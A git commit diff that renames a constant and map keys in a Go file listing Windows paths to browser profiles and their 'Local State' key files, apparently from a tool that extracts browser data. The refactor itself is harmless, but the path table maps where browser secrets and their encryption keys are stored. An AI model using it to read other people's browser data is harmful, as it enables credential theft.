refactor: format code name

pull/83/head
moond4rk 4 years ago committed by ᴍᴏᴏɴD4ʀᴋ
parent 4bd876bdb0
commit 2de1f48f2a
  1. 8
      core/browser_windows.go

@ -25,7 +25,7 @@ const (
firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/"
operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/"
operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State"
operaGXProfilepath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/"
operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State"
vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/"
vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State"
@ -84,13 +84,13 @@ var (
Name: operaName,
New: NewChromium,
},
"operagx": {
ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilepath,
"opera-gx": {
ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilePath,
KeyPath: os.Getenv("USERPROFILE") + operaGXKeyPath,
Name: operaGXName,
New: NewChromium,
},
"Vivaldi": {
"vivaldi": {
ProfilePath: os.Getenv("USERPROFILE") + vivaldiProfilePath,
KeyPath: os.Getenv("USERPROFILE") + vivaldiKeyPath,
Name: vivaldiName,

Loading…
Cancel
Save